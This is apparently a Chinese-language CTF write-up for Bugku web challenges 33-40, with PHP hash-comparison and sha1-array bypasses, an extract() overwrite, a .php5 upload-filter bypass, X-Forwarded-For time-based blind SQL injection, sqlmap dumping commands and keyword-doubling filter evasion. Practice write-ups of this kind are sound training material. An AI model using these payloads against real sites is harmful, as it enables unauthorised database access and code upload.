bugku web题 33-40 wp
md5 collision
要求input a,題目提示很清楚了。
利用php的特性:
PHP在處理哈希字符串時(shí),會(huì)利用”!=”或”==”來(lái)對(duì)哈希值進(jìn)行比較,它把每一個(gè)以”0E”開頭的哈希值都解釋為0,所以如果兩個(gè)不同的密碼經(jīng)過(guò)哈希以后,其哈希值都是以”0E”開頭的,那么PHP將會(huì)認(rèn)為他們相同,都是0。
0e開頭的MD5匯總
payload:?a=s878926199a
各種繞過(guò)
php審計(jì):
<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!'; } ?>要求:
$_GET['uname'] != $_POST['passwd']
sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')
sha1函數(shù)漏洞:
sha1()函數(shù)無(wú)法處理數(shù)組類型,將報(bào)錯(cuò)并返回NULL
構(gòu)造:
uname[]=a;
passwd[]=b;
id=margin;
得到flag
web8
hint:txt??!
審計(jì):
要求:
extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
提示有txt文件,經(jīng)嘗試發(fā)現(xiàn):flag.txt 內(nèi)容為:flags
構(gòu)造payload:
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt
得到flag
細(xì)心
hint:想辦法變成admin
打開頁(yè)面如下:
沒有任何線索。最后在robot.txt下發(fā)現(xiàn)如下內(nèi)容:
User-agent: *
Disallow: /resusl.php
robot.txt是網(wǎng)站爬蟲規(guī)則的描述,相關(guān)自行百度。
打開result.php:
payload:
http://120.24.86.145:8002/web13/resusl.php?x=admin
額,鬼知道他這個(gè)密碼是哪來(lái)的,就當(dāng)是撞默認(rèn)密碼吧。或者用字典爆破。
求getshell
先說(shuō)解法:
上傳1.php.jpg
用burp抓包,找到content-type字段:
Content-Type: multipart/form-data; boundary=---------------------------146043902153
修改 multipart/form-data的大小寫,
最后將文件后綴改為 .php5,提交得到flag。
這題我還沒弄明白
網(wǎng)上說(shuō)這題是后綴名黑名單檢測(cè)和類型檢測(cè)
php別名:php2, php3, php4, php5, phps, pht, phtm, phtml(只有php5沒被過(guò)濾)
至于為什么修改content-Type大小寫可以繞過(guò),我還沒搞懂。
Http Header里的Content-Type
INSERT INTO注入
給出代碼如下:
error_reporting(0);function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $ip = $_SERVER['REMOTE_ADDR']; } /************獲取IP*************************************/$ip_arr = explode(',', $ip);//過(guò)濾逗號(hào) return $ip_arr[0];}$host="localhost"; $user=""; $pass=""; $db="";$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");mysql_select_db($db) or die("Unable to select database");$ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql);可以看到,這是X-Forwarded-For的注入,而且過(guò)濾了逗號(hào),。在過(guò)濾了逗號(hào)的情況下,我們就不能使用if語(yǔ)句了,在mysql中與if有相同功效的就是:
select case when 語(yǔ)句1 then 語(yǔ)句1 else 語(yǔ)句1 end;
當(dāng)語(yǔ)句1為真,執(zhí)行語(yǔ)句2,否則執(zhí)行語(yǔ)句3
而且由于逗號(hào),被過(guò)濾,我們就不能使用substr、substring了,但我們可以使用:from 1 for 1,所以最終我們的payload如下:
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
腳本之后補(bǔ)上。
這是一個(gè)神奇的登陸框
打開頁(yè)面顯示一個(gè)登陸框:
測(cè)試語(yǔ)句:' " / \ | )
報(bào)錯(cuò),這意味著該頁(yè)面無(wú)法處理某些特殊字符,可能存在注入。
分析報(bào)錯(cuò)語(yǔ)句得到變量由"包裹。
測(cè)試語(yǔ)句:admin_name=" or 1=1#&admin_passwd=&submit=GO GO GO爆出用戶名字段,存在注入。
丟進(jìn)sqlmap:
因?yàn)槭莗ost請(qǐng)求,用burp抓包保存請(qǐng)求頭文件bugku.txt
爆數(shù)據(jù)庫(kù):python sqlmap.py -r "C:\Users\horyit\Desktop\雜項(xiàng)\bugku.txt" -p admin_name --dbs
爆表名:python sqlmap.py -r "C:\Users\horyit\Desktop\雜項(xiàng)\bugku.txt" -p admin_name -D bugkusql1 --tables
爆字段名:python sqlmap.py -r "C:\Users\horyit\Desktop\雜項(xiàng)\bugku.txt" -p admin_name -D bugkusql1 -T flag1 --columns
獲取數(shù)據(jù):python sqlmap.py -r "C:\Users\horyit\Desktop\雜項(xiàng)\bugku.txt" -p admin_name -D bugkusql1 -T flag1 -C --dump
ps:爆字段名是出現(xiàn)問(wèn)題,手注顯示錯(cuò)誤Got error 28 from storage engine,百度無(wú)果,感覺是題出了問(wèn)題。但做題的邏輯應(yīng)該就是這樣。
flag:flag{ed6b28e684817d9efcaf802979e57aea}
多次
經(jīng)測(cè)試:單引號(hào)報(bào)錯(cuò),加注釋返回正常,有過(guò)濾。
判斷過(guò)濾:異或注入(同假異真),過(guò)濾了union,select,or(注意order里面有or,這是個(gè)坑),and
關(guān)于異或注入
嘗試?yán)@過(guò):重寫 如:union –>uniunionon
發(fā)現(xiàn)可以繞過(guò)
payload:http://120.24.86.145:9004/1ndex.php?id=1' uniounionn selecselectt 1,2%23
之后就是常規(guī)操作。
出了一點(diǎn)問(wèn)題,之后補(bǔ)上。
總結(jié)
以上是生活随笔為你收集整理的bugku web题 33-40 wp的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Cortex_M3通用寄存器组特殊功能寄
- 下一篇: 网易面试——人工智能工程师